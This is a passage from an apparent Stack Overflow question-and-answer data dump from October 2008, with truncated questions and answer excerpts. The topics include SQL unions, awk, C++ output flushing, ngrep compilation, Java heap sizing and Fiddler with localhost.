</table>
</code></pre>
<p>I am using javascript like the following to get the value</p>
<pre><code>document.getElementById(cell2.Element.id... | [
{
"answer_id": 213858,
"author": "TJ L",
"author_id": 12605,
"author_profile": "https://Stackoverflow.com/users/12605",
"pm_score": 3,
"selected": false,
"text": " "
},
{
"answer_id": 213944,
"author": "savetheclocktower",
"author_id": 25720,
"author_profile": "h... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213845",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/13279/"
] |
213,851 | <p>How can one programmatically sort a union query when pulling data from two tables? For example,</p>
<pre><code>SELECT table1.field1 FROM table1 ORDER BY table1.field1
UNION
SELECT table2.field1 FROM table2 ORDER BY table2.field1
</code></pre>
<p>Throws an exception</p>
<p>Note: this is being attempted on MS Acces... | [
{
"answer_id": 213862,
"author": "Curtis Inderwiesche",
"author_id": 3155,
"author_profile": "https://Stackoverflow.com/users/3155",
"pm_score": 0,
"selected": false,
"text": "ORDER BY SELECT table1.field1 FROM table1 ORDER BY table1.field1\nUNION\nSELECT table2.field1 FROM table2 ORDER ... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213851",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3155/"
] |
213,855 | <p>I have a file with fields separated by pipe characters and I want to print only the second field. This attempt fails:</p>
<pre><code>$ cat file | awk -F| '{print $2}'
awk: syntax error near line 1
awk: bailing out near line 1
bash: {print $2}: command not found
</code></pre>
<p>Is there a way to do this?</p>
| [
{
"answer_id": 213856,
"author": "Jon Ericson",
"author_id": 1438,
"author_profile": "https://Stackoverflow.com/users/1438",
"pm_score": 2,
"selected": false,
"text": "$ awk -F\\| '{print $2}' file\n $ awk -F'|' '{print $2}' file\n"
},
{
"answer_id": 213880,
"author": "Zsolt ... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213855",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1438/"
] |
213,857 | <p>We have seen the following exceptions very frequently on IBM AIX when attempting to make an SSL connection to our server:</p>
<pre><code>java.net.SocketException: Socket closed
at com.sun.net.ssl.internal.ssl.SSLSocketImpl.a(DashoA6275(Compiled Code))
at com.sun.net.ssl.internal.ssl.AppOutputStream.write(DashoA6275... | [
{
"answer_id": 213916,
"author": "Steve B.",
"author_id": 19479,
"author_profile": "https://Stackoverflow.com/users/19479",
"pm_score": 0,
"selected": false,
"text": "<bean id=\"httpClient\" class=\"org.springframework.remoting.httpinvoker.CommonsHttpInvokerRequestExecutor\">\n <prope... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213857",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1432/"
] |
213,869 | <p>So I know that autocommit commits every sql statement, but do updates to the database go directly to the disk or do they remain on cache until flushed? </p>
<p>I realize it's dependent on the database implementation.</p>
<p>Does auto-commit mean
a) every statement is a complete transaction AND it goes straight t... | [
{
"answer_id": 213884,
"author": "Daniel Spiewak",
"author_id": 9815,
"author_profile": "https://Stackoverflow.com/users/9815",
"pm_score": 2,
"selected": false,
"text": "BEGIN COMMIT"
}
] | 2008/10/17 | [
"https://Stackoverflow.com/questions/213869",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] |
213,875 | <p>using the Symbian S60 5th edition SDK released on October 2nd, I am compiling/running(on sim) the following code snippet:</p>
<pre><code>void test(wchar_t *dest, int size, const wchar_t *fmt, ...) {
va_list vl;
va_start(vl, fmt);
vswprintf(dest, size, fmt, vl);
va_end(vl);
}
...
wchar_t str[1024];... | [
{
"answer_id": 213982,
"author": "Michael Burr",
"author_id": 12711,
"author_profile": "https://Stackoverflow.com/users/12711",
"pm_score": 1,
"selected": false,
"text": "vswprintf() str[]"
},
{
"answer_id": 213999,
"author": "Adam Rosenfield",
"author_id": 9530,
"aut... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213875",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/27101/"
] |
213,882 | <p>So far, in my research I have seen that it is unwise to set AllowUnsafeUpdates on GET request operation to avoid cross site scripting. But, if it is required to allow this, what is the proper way to handle the situation to mitigate any exposure? </p>
<p>Here is my best first guess on a reliable pattern if you absol... | [
{
"answer_id": 432820,
"author": "Øyvind Skaar",
"author_id": 49194,
"author_profile": "https://Stackoverflow.com/users/49194",
"pm_score": 1,
"selected": false,
"text": "using (WebWrapper wrapper = new WebWrapper(\"http://localhost\"))\n {\n wrapper.AllowUnsafe... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213882",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/13135/"
] |
213,901 | <p>I'd like to run a subcommand from Perl (or pipe it into a Perl script) and have the script process the command's output immediately, rather than waiting for a timeout, a newline, or a certain number of blocks. For example, let's say I want to surround each chunk of input with square brackets. When I run the script l... | [
{
"answer_id": 213923,
"author": "Greg Hewgill",
"author_id": 893,
"author_profile": "https://Stackoverflow.com/users/893",
"pm_score": 0,
"selected": false,
"text": "getc $|++; # set autoflush on output\nwhile ($c = getc(STDIN)) {\n print $c;\n}\n"
},
{
"answer_id": 213951,
... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213901",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/7598/"
] |
213,907 | <p>Many C++ books contain example code like this...</p>
<pre><code>std::cout << "Test line" << std::endl;
</code></pre>
<p>...so I've always done that too. But I've seen a lot of code from working developers like this instead:</p>
<pre><code>std::cout << "Test line\n";
</code></pre>
<p>Is there a ... | [
{
"answer_id": 213914,
"author": "Martin Beckett",
"author_id": 10897,
"author_profile": "https://Stackoverflow.com/users/10897",
"pm_score": 6,
"selected": false,
"text": "std::endl"
},
{
"answer_id": 213977,
"author": "David Thornley",
"author_id": 14148,
"author_pr... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213907",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/12193/"
] |
213,939 | <p>Does anyone know how to initiate a POST request in a Grails applications using javascript. Specifically, I would like to be able to POST when a the selected item in a drop-down box is changed.</p>
<p>I've tried using jQuery and the $.post() method. It successfully calls my controller action, but I'm not sure how t... | [
{
"answer_id": 219217,
"author": "Ed.T",
"author_id": 3014,
"author_profile": "https://Stackoverflow.com/users/3014",
"pm_score": 0,
"selected": false,
"text": " def ajaxRandom = {\n def randomQuote = quoteService.getRandomQuote()\n response.outputStream << \"<q>${random... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213939",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/21832/"
] |
213,950 | <p>I'm trying to compile a program called ngrep, and when I ran configure, things seemed to go well, but when I run make, I get:</p>
<pre><code>ngrep.c: In function ‘process’:
ngrep.c:544: error: ‘struct udphdr’ has no member named ‘source’
ngrep.c:545: error: ‘struct udphdr’ has no member named ‘dest’
make: *** [ngre... | [
{
"answer_id": 214021,
"author": "raldi",
"author_id": 7598,
"author_profile": "https://Stackoverflow.com/users/7598",
"pm_score": 3,
"selected": true,
"text": "#ifdef HAVE_DUMB_UDPHDR\n printf(\"%s:%d -\", inet_ntoa(ip_packet->ip_src), ntohs(udp->source));\n ... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213950",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/7598/"
] |
213,952 | <p>I'm working on a large, aging code base for an MFC app. The code has been worked on by many developers over time, and as a result, we have three different ways throughout the code of dealing with the possibility of an allocation failure with new.</p>
<p>The first way is to test for NULL on the result of new. We d... | [
{
"answer_id": 213988,
"author": "Head Geek",
"author_id": 12193,
"author_profile": "https://Stackoverflow.com/users/12193",
"pm_score": 1,
"selected": false,
"text": "new"
},
{
"answer_id": 214093,
"author": "Henk",
"author_id": 4613,
"author_profile": "https://Stack... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213952",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/9224/"
] |
213,953 | <p>I recently ran into a problem that I thought boost::lambda or boost::phoenix could help be solve, but I was not able to get the syntax right and so I did it another way. What I wanted to do was remove all the elements in "strings" that were less than a certain length and not in another container.</p>
<p>This is my ... | [
{
"answer_id": 214222,
"author": "Adam Mitz",
"author_id": 2574,
"author_profile": "https://Stackoverflow.com/users/2574",
"pm_score": 3,
"selected": true,
"text": "bind(&string::length, _1) < 24\n int main()\n{\n vector<string> strings = getstrings();\n set<string> others = getothers(... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213953",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/29049/"
] |
213,958 | <p>What new features in java 7 is going to be implemented?
And what are they doing now?</p>
| [
{
"answer_id": 6640059,
"author": "didxga",
"author_id": 231010,
"author_profile": "https://Stackoverflow.com/users/231010",
"pm_score": 8,
"selected": false,
"text": "BufferedReader br = new BufferedReader(new FileReader(path));\ntry {\n return br.readLine();\n} finally {\n br.close... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213958",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] |
213,978 | <p>I was running my first Visual Studio 2008 Unit Test with a WCF Service and I received the following error:</p>
<blockquote>
<p>Test method
UnitTest.ServiceUnitTest.TestMyService
threw exception:
System.ServiceModel.Security.MessageSecurityException:
The HTTP request is unauthorized with
client authenti... | [
{
"answer_id": 213989,
"author": "Karg",
"author_id": 12685,
"author_profile": "https://Stackoverflow.com/users/12685",
"pm_score": 1,
"selected": false,
"text": "<system.serviceModel>\n <bindings>\n <wsHttpBinding>\n <binding name=\"myBinding\">\n <security mode=\"None\"... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213978",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/26327/"
] |
213,985 | <p>I have a co-worker that swears by</p>
<pre><code>//in a singleton "Constants" class
public static final String EMPTY_STRING = "";
</code></pre>
<p>in a constants class available throughout the project. That way, we can write something like</p>
<pre><code>if (Constants.EMPTY_STRING.equals(otherString)) {
...
}... | [
{
"answer_id": 213997,
"author": "David G",
"author_id": 3150,
"author_profile": "https://Stackoverflow.com/users/3150",
"pm_score": 2,
"selected": false,
"text": "if (otherString.length() == 0) if (otherString == null || otherString.length() == 0)\n"
},
{
"answer_id": 214001,
... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213985",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1318/"
] |
214,009 | <p>As kind of a followup to <a href="https://stackoverflow.com/questions/210446/what-is-the-best-way-for-a-client-app-to-find-a-server-on-a-local-network-in-c">this question</a> I've gotten a solution working on my local machine, but not on a machine on the network.</p>
<p>I don't know too much about sockets other tha... | [
{
"answer_id": 214629,
"author": "Andrew Edgecombe",
"author_id": 11694,
"author_profile": "https://Stackoverflow.com/users/11694",
"pm_score": 3,
"selected": true,
"text": "ipep"
},
{
"answer_id": 2382669,
"author": "ForbesLindesay",
"author_id": 272958,
"author_prof... | 2008/10/17 | [
"https://Stackoverflow.com/questions/214009",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/23822/"
] |
214,017 | <p>Consider I'm interfacing with an external system that will send a message (DB table, message queue, web service) in some format. In the "message header" there is the "MessageType" that is a number from 1 to 20. The MessageType defines what to do with the rest of the message. There are things like new, modified, d... | [
{
"answer_id": 214032,
"author": "Jon Skeet",
"author_id": 22656,
"author_profile": "https://Stackoverflow.com/users/22656",
"pm_score": 3,
"selected": false,
"text": "switch (messageType)\n{\n case 0: HandleLogin(message); break;\n case 50: SaveCurrentDocument(message);... | 2008/10/17 | [
"https://Stackoverflow.com/questions/214017",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2862/"
] |
214,037 | <p>I really like Entity Framework, but there are some key pieces that are a challenge to me. Can anyone tell me how to filter an EntityDataSource on an Association column? EF hides the FK values and instead has an Association property. Given an Entity, Person, with a PersonType association, I would have expected someth... | [
{
"answer_id": 639287,
"author": "Davy Landman",
"author_id": 11098,
"author_profile": "https://Stackoverflow.com/users/11098",
"pm_score": 0,
"selected": false,
"text": "var personType = new PersonType { Id = 1 };\nvar query = PersonDataSource.Where(p => p.PersonType.Equals(personType))... | 2008/10/17 | [
"https://Stackoverflow.com/questions/214037",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/16426/"
] |
214,045 | <p>A couple of recent questions discuss strategies for naming columns, and I was rather surprised to discover the concept of embedding the notion of foreign and primary keys in column names. That is</p>
<pre><code>select t1.col_a, t1.col_b, t2.col_z
from t1 inner join t2 on t1.id_foo_pk = t2.id_foo_fk
</code></pre>
<... | [
{
"answer_id": 214155,
"author": "Bill Karwin",
"author_id": 20860,
"author_profile": "https://Stackoverflow.com/users/20860",
"pm_score": 4,
"selected": true,
"text": "SELECT * FROM foo JOIN bar USING (foo_id);\n SELECT * FROM foo JOIN bar ON (foo.foo_id = bar.foo_id);\n CREATE TABLE Em... | 2008/10/17 | [
"https://Stackoverflow.com/questions/214045",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/18625/"
] |
214,059 | <p>I just learned about <a href="http://ngrep.sourceforge.net/" rel="nofollow noreferrer">ngrep</a>, a cool program that lets you easily sniff packets that match a particular string.</p>
<p>The only problem is that it can be hard to see the match in the big blob of output. I'd like to write a wrapper script to highlig... | [
{
"answer_id": 214186,
"author": "raldi",
"author_id": 7598,
"author_profile": "https://Stackoverflow.com/users/7598",
"pm_score": 3,
"selected": true,
"text": "--- ngrep.c 2006-11-28 05:38:43.000000000 -0800\n+++ ngrep.c.new 2008-10-17 16:28:29.000000000 -0700\n@@ -687,8 +687,7 @@\n... | 2008/10/17 | [
"https://Stackoverflow.com/questions/214059",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/7598/"
] |
214,065 | <p>We're building some software for an in-house Kiosk. The software is a basic .net windows form with an embedded browser. The Kiosk is outfitted with a mat that the user steps on. When the user steps on the mat, it sends a key comination through the keyboard. When the user steps off the mat it sends a different key... | [
{
"answer_id": 214167,
"author": "Tom Anderson",
"author_id": 13502,
"author_profile": "https://Stackoverflow.com/users/13502",
"pm_score": 3,
"selected": true,
"text": "protected override bool ProcessCmdKey(ref Message msg, Keys keyData)\n{\n const int WM_KEYDOWN = 0x100;\n const ... | 2008/10/17 | [
"https://Stackoverflow.com/questions/214065",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/9266/"
] |
214,072 | <p>Can anyone reccomend some good tutorials for ext js and adobe air? The ones I have seen seem to start with you knowing a lot or already having a lot of code in place.</p>
<p>What I am looking for is a simple step by step guide that takes you through the basics of Ext Js in use with adobe air, in fact i suppose just... | [
{
"answer_id": 214167,
"author": "Tom Anderson",
"author_id": 13502,
"author_profile": "https://Stackoverflow.com/users/13502",
"pm_score": 3,
"selected": true,
"text": "protected override bool ProcessCmdKey(ref Message msg, Keys keyData)\n{\n const int WM_KEYDOWN = 0x100;\n const ... | 2008/10/17 | [
"https://Stackoverflow.com/questions/214072",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/28241/"
] |
214,077 | <p>I was wondering if there is some way to name or rename a property on an Anonymous type to include a space in the property name. For example:</p>
<pre><code>var resultSet = from customer in customerList
select new
{
FirstName = customer.firstName;
};
</code></pre>
<p>In this example I would lik... | [
{
"answer_id": 214216,
"author": "tvanfosson",
"author_id": 12950,
"author_profile": "https://Stackoverflow.com/users/12950",
"pm_score": 4,
"selected": true,
"text": "var resultSet = from customer in customerList\n select new \n {\n Value... | 2008/10/17 | [
"https://Stackoverflow.com/questions/214077",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/7215/"
] |
214,086 | <p>If I have a method such as:</p>
<pre><code>public void MyMethod(int arg1, string arg2)
</code></pre>
<p>How would I go about getting the actual names of the arguments?
I can't seem to find anything in the MethodInfo which will actually give me the name of the parameter.</p>
<p>I would like to write a method which... | [
{
"answer_id": 214106,
"author": "Tom Anderson",
"author_id": 13502,
"author_profile": "https://Stackoverflow.com/users/13502",
"pm_score": 7,
"selected": true,
"text": "public static string GetParamName(System.Reflection.MethodInfo method, int index)\n{\n string retVal = string.Empty... | 2008/10/17 | [
"https://Stackoverflow.com/questions/214086",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/646/"
] |
214,094 | <p>Say you have a standard template with included (parsed) header, body, footer templates.</p>
<p>In the body template a variable like $subject is defined and you want that also displayed in the header template.</p>
<p>In some other template languages like HTML::Mason(perl based) you would evaluate the body template ... | [
{
"answer_id": 243258,
"author": "Olly",
"author_id": 1174,
"author_profile": "https://Stackoverflow.com/users/1174",
"pm_score": 2,
"selected": false,
"text": "application.vm screen_content <html>\n <head>\n <title>$subject</title>\n </head>\n <body>\n #parse(\"header.vm\") \n $... | 2008/10/17 | [
"https://Stackoverflow.com/questions/214094",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] |
214,109 | <p>I was getting bad data from an application I was writting using C++ in Visual Studio 2k3 so I decided to debug it. Then I found it was throwing an exception but one I can't track down.</p>
<p>Then I placed some try/catch blocks and low and behold, when I don't debug there is no exception. That is, I have code that ... | [
{
"answer_id": 214120,
"author": "Doug T.",
"author_id": 8123,
"author_profile": "https://Stackoverflow.com/users/8123",
"pm_score": 1,
"selected": false,
"text": "#ifdef DEBUG\n#define ASSERT(cond) if (cond) throw CDebugAssertionObj;\n#else\n#define ASSERT(cond)\n#endif\n"
},
{
... | 2008/10/17 | [
"https://Stackoverflow.com/questions/214109",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/23829/"
] |
214,124 | <p>Anyone know of a good free winforms html editor for .NET. Ideally I would like html and preview modes along with the possibility of exporting to a pdf, word doc or similar. </p>
<p>Although the export I could probably create myself from the html output.</p>
<p>Another nice feature would be a paste from word that r... | [
{
"answer_id": 214152,
"author": "Tom Anderson",
"author_id": 13502,
"author_profile": "https://Stackoverflow.com/users/13502",
"pm_score": 6,
"selected": true,
"text": "WebBrowser WebBrowser WebBrowser Me.WebBrowser1.Navigate(\"\")\nApplication.DoEvents()\nMe.WebBrowser1.Document.OpenNe... | 2008/10/17 | [
"https://Stackoverflow.com/questions/214124",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/16989/"
] |
214,132 | <p>I'm just trying to get a general idea of what views are used for in RDBMSes. That is to say, I know what a view is and how to make one. I also know what I've used them for in the past.</p>
<p>But I want to make sure I have a thorough understanding of what a view is useful for and what a view shouldn't be useful fo... | [
{
"answer_id": 214238,
"author": "6eorge Jetson",
"author_id": 23422,
"author_profile": "https://Stackoverflow.com/users/23422",
"pm_score": 7,
"selected": true,
"text": "CREATE VIEW AS SELECT * FROM tblData"
}
] | 2008/10/17 | [
"https://Stackoverflow.com/questions/214132",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2147/"
] |
214,136 | <p>With a <code>TreeMap</code> it's trivial to provide a custom <code>Comparator</code>, thus overriding the semantics provided by <code>Comparable</code> objects added to the map. <code>HashMap</code>s however cannot be controlled in this manner; the functions providing hash values and equality checks cannot be 'side-... | [
{
"answer_id": 214142,
"author": "hazzen",
"author_id": 5066,
"author_profile": "https://Stackoverflow.com/users/5066",
"pm_score": 2,
"selected": false,
"text": "String String public class LowerStringWrapper {\n public LowerStringWrapper(String s) {\n this.s = s;\n this... | 2008/10/17 | [
"https://Stackoverflow.com/questions/214136",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/13905/"
] |
214,140 | <p>I'm working on a table of links within a site using iframes. I'm wondering if there's any way to code a link to go to two simultaneous destinations within two different target frames? I've been reading all afternoon and can't find anything close to what I want to do. Basically I want one link to present a photo in o... | [
{
"answer_id": 214153,
"author": "davethegr8",
"author_id": 12930,
"author_profile": "https://Stackoverflow.com/users/12930",
"pm_score": 3,
"selected": true,
"text": "function click_link(id) {\n document.getElementById('iframe1').src = \"page.ext?id=\" + id;\n document.getElementB... | 2008/10/17 | [
"https://Stackoverflow.com/questions/214140",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/27171/"
] |
214,205 | <p>Here's some Ruby code:</p>
<pre><code>puts %x{ pstree #{$$} } # never forks
puts %x{ pstree '#{$$}' } # forks on amd64 only
</code></pre>
<p>On 32-bit Ubuntu Dapper, I get this output:</p>
<pre><code>t.rb---pstree
t.rb---pstree
</code></pre>
<p>Which makes sense to me. But on 64-bit Ubuntu Hardy, I get this:<... | [
{
"answer_id": 214263,
"author": "Robert Gamble",
"author_id": 25222,
"author_profile": "https://Stackoverflow.com/users/25222",
"pm_score": 3,
"selected": true,
"text": "*?{}[]<>()~&|\\\\$;'`\"\\n\n pstree sh fork /bin/sh -c \"pstree $$\"\n pstree bash---pstree bash---sh---pstree"
}
] | 2008/10/17 | [
"https://Stackoverflow.com/questions/214205",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4323/"
] |
214,215 | <p>I have several user drawn controls on a form, unfortunately when the form is shown the user drawn controls are showing the previous forms background rather than the current forms background. </p>
<p>The OnPaint event is very simple, and the OnBackgroundPaint event is empty... </p>
<p>Like this:</p>
<pre><code> ... | [
{
"answer_id": 214263,
"author": "Robert Gamble",
"author_id": 25222,
"author_profile": "https://Stackoverflow.com/users/25222",
"pm_score": 3,
"selected": true,
"text": "*?{}[]<>()~&|\\\\$;'`\"\\n\n pstree sh fork /bin/sh -c \"pstree $$\"\n pstree bash---pstree bash---sh---pstree"
}
] | 2008/10/17 | [
"https://Stackoverflow.com/questions/214215",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/29140/"
] |
214,230 | <p>When including a header file in C++, what's the difference between...</p>
<ol>
<li><p>including the <em>.h</em> part versus not including <em>.h</em> part when wrapping it in <em><></em> signs?</p>
<p>#include <iostream> vs. #include <iostream.h></p>
</li>
<li><p>wrapping the header name in double ... | [
{
"answer_id": 214242,
"author": "Adam Davis",
"author_id": 2915,
"author_profile": "https://Stackoverflow.com/users/2915",
"pm_score": 7,
"selected": true,
"text": "iostream.h iostream \"\" <>"
}
] | 2008/10/18 | [
"https://Stackoverflow.com/questions/214230",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/191808/"
] |
214,233 | <p>Recent conversations with colleagues have produced varying points of view on this matter. What say you, SO members?</p>
<p>I know, even the concept of scalability can be taken in so many different ways and contexts, but that was part of the discussion when this came up. Everyone seemed to have a different take on w... | [
{
"answer_id": 214284,
"author": "Robert Rossney",
"author_id": 19403,
"author_profile": "https://Stackoverflow.com/users/19403",
"pm_score": 3,
"selected": false,
"text": "IEnumerable<T> List<Foo> var list = from Foo f in fooList\n where f.Value = \"Bar\"\n select f;... | 2008/10/18 | [
"https://Stackoverflow.com/questions/214233",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/5469/"
] |
214,262 | <p>I have the following snippet of code, changeTextArea is a TextArea object.</p>
<pre><code>changeTextArea.addKeyboardListener(new KeyboardListenerAdapter()
public void onKeyPress( Widget sender, char keyCode, int modifier){
//do something
//I WISH TO STOP THE EVENT THAT MAPS TO THIS KEYPRESS FROM BUBBLING ... | [
{
"answer_id": 214633,
"author": "rustyshelf",
"author_id": 6044,
"author_profile": "https://Stackoverflow.com/users/6044",
"pm_score": 4,
"selected": true,
"text": "DOM.addEventPreview(EventPreview preview) \n onEventPreview(Event event) \n public final void cancelBubble(boolean cancel)... | 2008/10/18 | [
"https://Stackoverflow.com/questions/214262",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/21317/"
] |
214,271 | <p>In Perl, I can type:</p>
<pre><code>$|++;
</code></pre>
<p>and anything printed to STDOUT will be automatically fflush()ed.</p>
<p>Is there an equivalent in C? In other words, is there some way I can tell stdio to automatically fflush stdout after every printf(), the way it automatically flushes stderr?</p>
| [
{
"answer_id": 214290,
"author": "Harry",
"author_id": 4704,
"author_profile": "https://Stackoverflow.com/users/4704",
"pm_score": 6,
"selected": true,
"text": "setvbuf(stdout, NULL, _IONBF, 0) stdout _IONBF"
},
{
"answer_id": 214292,
"author": "yogman",
"author_id": 2434... | 2008/10/18 | [
"https://Stackoverflow.com/questions/214271",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/7598/"
] |
214,272 | <p>I downloaded the Aptana_Studio_Setup_Linux.zip package, unpacked it and run ./AptanaStudio. It starts fine, but reports one problem:</p>
<p><em>The embedded browser widget for this editor cannot be created. It is either not available for your operating system or the system needs to be configured in order to support... | [
{
"answer_id": 215481,
"author": "Oli",
"author_id": 12870,
"author_profile": "https://Stackoverflow.com/users/12870",
"pm_score": -1,
"selected": false,
"text": "sudo apt-get install firefox-2\n"
},
{
"answer_id": 588864,
"author": "kthakore",
"author_id": 65875,
"au... | 2008/10/18 | [
"https://Stackoverflow.com/questions/214272",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/14690/"
] |
214,304 | <p>I would like to set some initial variables (like <code>format compact</code> and the current directory) automatically on each startup of Matlab.<br>
How can I do that?</p>
| [
{
"answer_id": 214382,
"author": "SCFrench",
"author_id": 4928,
"author_profile": "https://Stackoverflow.com/users/4928",
"pm_score": 4,
"selected": true,
"text": ">> userpath\n"
}
] | 2008/10/18 | [
"https://Stackoverflow.com/questions/214304",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1034/"
] |
214,308 | <p>When using Fiddler to monitor HTTP Requests & Responses in Internet Explorer it ignores all traffic directed to <a href="http://localhost" rel="noreferrer">http://localhost</a>.</p>
| [
{
"answer_id": 214368,
"author": "Matt Dillard",
"author_id": 863,
"author_profile": "https://Stackoverflow.com/users/863",
"pm_score": 7,
"selected": false,
"text": "http://machinename/mytestpage.aspx\n"
},
{
"answer_id": 4968074,
"author": "Piskvor left the building",
"... | 2008/10/18 | [
"https://Stackoverflow.com/questions/214308",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/303/"
] |
214,309 | <p>For example, mysql quote table name using </p>
<pre><code>SELECT * FROM `table_name`;
</code></pre>
<p>notice the ` </p>
<p>Does other database ever use different char to quote their table name</p>
| [
{
"answer_id": 214344,
"author": "Bill Karwin",
"author_id": 20860,
"author_profile": "https://Stackoverflow.com/users/20860",
"pm_score": 6,
"selected": true,
"text": "SELECT * FROM \"my table\";\n SELECT * FROM `my table`;\nSET SQL_MODE=ANSI_QUOTES;\nSELECT * FROM \"my table\";\n SELEC... | 2008/10/18 | [
"https://Stackoverflow.com/questions/214309",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20907/"
] |
214,348 | <p>Does anyone know the bare minimum files required for Ext JS 2.2? I know the ExtJS site has a feature to <a href="http://extjs.com/products/extjs/build/" rel="noreferrer">"build"</a> a small version of ExtJS (ext.js) as a replacement for ext-all.js but that's for minimizing the size of ExtJS on the client. I'm intere... | [
{
"answer_id": 214390,
"author": "pfeilbr",
"author_id": 29148,
"author_profile": "https://Stackoverflow.com/users/29148",
"pm_score": 4,
"selected": true,
"text": "<link rel=\"stylesheet\" type=\"text/css\" href=\"../extjs/resources/css/ext-all.css\">\n<script type=\"text/javascript\" s... | 2008/10/18 | [
"https://Stackoverflow.com/questions/214348",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/10708/"
] |
214,359 | <p>What is the most efficient way to do this?</p>
| [
{
"answer_id": 214365,
"author": "Paige Ruten",
"author_id": 813,
"author_profile": "https://Stackoverflow.com/users/813",
"pm_score": 2,
"selected": false,
"text": "#FF6400 = RGB(0xFF, 0x64, 0x00) = RGB(255, 100, 0)\n"
},
{
"answer_id": 214367,
"author": "billjamesdev",
... | 2008/10/18 | [
"https://Stackoverflow.com/questions/214359",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/23107/"
] |
214,362 | <p>Does anyone have experience with using very large heaps, 12 GB or higher in Java?</p>
<ul>
<li>Does the GC make the program unusable?</li>
<li>What GC params do you use?</li>
<li>Which JVM, Sun or BEA would be better suited for this?</li>
<li>Which platform, Linux or Windows, performs better under such conditions?<... | [
{
"answer_id": 214407,
"author": "jlintz",
"author_id": 25218,
"author_profile": "https://Stackoverflow.com/users/25218",
"pm_score": 3,
"selected": false,
"text": "jmap -heap:format=b pid\n"
}
] | 2008/10/18 | [
"https://Stackoverflow.com/questions/214362",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/14316/"
] |
214,363 | <p>Using any tools which you would expect to find on a nix system (in fact, if you want, msdos is also fine too), what is the easiest/fastest way to calculate the mean of a set of numbers, assuming you have them one per line in a stream or file?</p>
| [
{
"answer_id": 214370,
"author": "Paul Nathan",
"author_id": 26227,
"author_profile": "https://Stackoverflow.com/users/26227",
"pm_score": 0,
"selected": false,
"text": "@a = <STDIN>;\n\nfor($i = 0; $i < #@a; $i++)\n{\n $sum += $a[i];\n}\n\nprint $a[i]/#@a;\n"
},
{
"answer_id":... | 2008/10/18 | [
"https://Stackoverflow.com/questions/214363",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/18352/"
] |
214,378 | <p>I would like to see the specific style elements that are used in the default stylesheet for the various browsers. Do the browsers have an actual file based stylesheetss that I locate on my system and read? If so, what are the default locations of those files? If not, where I can find this information?</p>
| [
{
"answer_id": 214494,
"author": "CesarB",
"author_id": 28258,
"author_profile": "https://Stackoverflow.com/users/28258",
"pm_score": 3,
"selected": false,
"text": "resource://gre-resources/forms.css"
},
{
"answer_id": 214807,
"author": "Christian Lescuyer",
"author_id": ... | 2008/10/18 | [
"https://Stackoverflow.com/questions/214378",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2415/"
] |
214,411 | <p>I would like to embed Flash Player directly inside a C++ or Java application.</p>
<p>I found an article that describes how to do this for C#:
<a href="http://www.adobe.com/devnet/flash/articles/stock_history03.html" rel="noreferrer">http://www.adobe.com/devnet/flash/articles/stock_history03.html</a></p>
<p>Unfortu... | [
{
"answer_id": 9325712,
"author": "Eximius",
"author_id": 1129753,
"author_profile": "https://Stackoverflow.com/users/1129753",
"pm_score": 0,
"selected": false,
"text": "%AppData%\\Mozilla\\plugins"
}
] | 2008/10/18 | [
"https://Stackoverflow.com/questions/214411",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/14731/"
] |
